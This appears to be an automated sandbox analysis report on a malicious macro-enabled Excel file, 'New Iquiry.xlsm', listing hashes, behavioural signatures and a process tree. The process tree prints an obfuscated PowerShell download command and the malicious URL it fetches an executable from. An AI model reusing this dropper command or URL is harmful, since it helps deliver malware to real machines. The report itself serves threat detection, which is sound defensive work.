Analysis
-
max time kernel
71s -
max time network
22s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
18-01-2021 07:20
Static task
static1
Behavioral task
behavioral1
Sample
New Iquiry.xlsm
Resource
win7v20201028
Behavioral task
behavioral2
Sample
New Iquiry.xlsm
Resource
win10v20201028
General
-
Target
New Iquiry.xlsm
-
Size
143KB
-
MD5
e815ac129a6c26ba513742fe3e834835
-
SHA1
0fff500ea03bbac5d9b439cd48ba386739eec351
-
SHA256
8c30635fa8cc452d445c345ac855339c23b3845dfe9d3cc91550d17771459a0e
-
SHA512
24008227c5455d7e35acb36a539964979cd63a33f1e81e7a8c51f3417dc1fdf08f5c2aa48e7ab058f96934c81acb7aba4ebd59ea738750bed66bd6bf3a39b5ce
Malware Config
Extracted
http://hosseinsoltani.ir/BROWNOBC.exe
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 1132 1096 cmd.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 6 1608 powershell.exe -
Office loads VBA resources, possible macro or embedded object present
-
Enumerates system info in registry 2 TTPs 1 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Processes:
EXCEL.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 1096 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 1608 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1608 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 1096 EXCEL.EXE 1096 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 3 IoCs
Processes:
EXCEL.EXEpid process 1096 EXCEL.EXE 1096 EXCEL.EXE 1096 EXCEL.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
EXCEL.EXEcmd.exedescription pid process target process PID 1096 wrote to memory of 1132 1096 EXCEL.EXE cmd.exe PID 1096 wrote to memory of 1132 1096 EXCEL.EXE cmd.exe PID 1096 wrote to memory of 1132 1096 EXCEL.EXE cmd.exe PID 1096 wrote to memory of 1132 1096 EXCEL.EXE cmd.exe PID 1132 wrote to memory of 1608 1132 cmd.exe powershell.exe PID 1132 wrote to memory of 1608 1132 cmd.exe powershell.exe PID 1132 wrote to memory of 1608 1132 cmd.exe powershell.exe PID 1132 wrote to memory of 1608 1132 cmd.exe powershell.exe
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\New Iquiry.xlsm"1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start p^owersh^el^l -w 1 (New-Object Net.WebClient).DownloadFile('http://hosseinsoltani.ir/BROWNOBC.exe',($env:Temp)+'\yHYWC.bat')2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -w 1 (New-Object Net.WebClient).DownloadFile('http://hosseinsoltani.ir/BROWNOBC.exe',($env:Temp)+'\yHYWC.bat')3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/1096-2-0x000000002FD31000-0x000000002FD34000-memory.dmpFilesize
12KB
-
memory/1096-3-0x0000000071461000-0x0000000071463000-memory.dmpFilesize
8KB
-
memory/1096-4-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/1132-5-0x0000000000000000-mapping.dmp
-
memory/1608-6-0x0000000000000000-mapping.dmp
-
memory/1608-7-0x0000000075301000-0x0000000075303000-memory.dmpFilesize
8KB
-
memory/1608-8-0x000000006BDF0000-0x000000006C4DE000-memory.dmpFilesize
6.9MB
-
memory/1608-9-0x00000000009A0000-0x00000000009A1000-memory.dmpFilesize
4KB
-
memory/1608-10-0x00000000047F0000-0x00000000047F1000-memory.dmpFilesize
4KB
-
memory/1608-12-0x00000000025D2000-0x00000000025D3000-memory.dmpFilesize
4KB
-
memory/1608-11-0x00000000025D0000-0x00000000025D1000-memory.dmpFilesize
4KB
-
memory/1608-13-0x0000000002000000-0x0000000002001000-memory.dmpFilesize
4KB
-
memory/1608-14-0x00000000026E0000-0x00000000026E1000-memory.dmpFilesize
4KB
-
memory/1608-17-0x0000000006090000-0x0000000006091000-memory.dmpFilesize
4KB
-
memory/1608-19-0x000000007EF20000-0x000000007EF21000-memory.dmpFilesize
4KB
-
memory/1608-23-0x0000000006280000-0x0000000006281000-memory.dmpFilesize
4KB
-
memory/1608-24-0x0000000006320000-0x0000000006321000-memory.dmpFilesize
4KB
-
memory/1608-31-0x0000000006480000-0x0000000006481000-memory.dmpFilesize
4KB
-
memory/1608-32-0x0000000006530000-0x0000000006531000-memory.dmpFilesize
4KB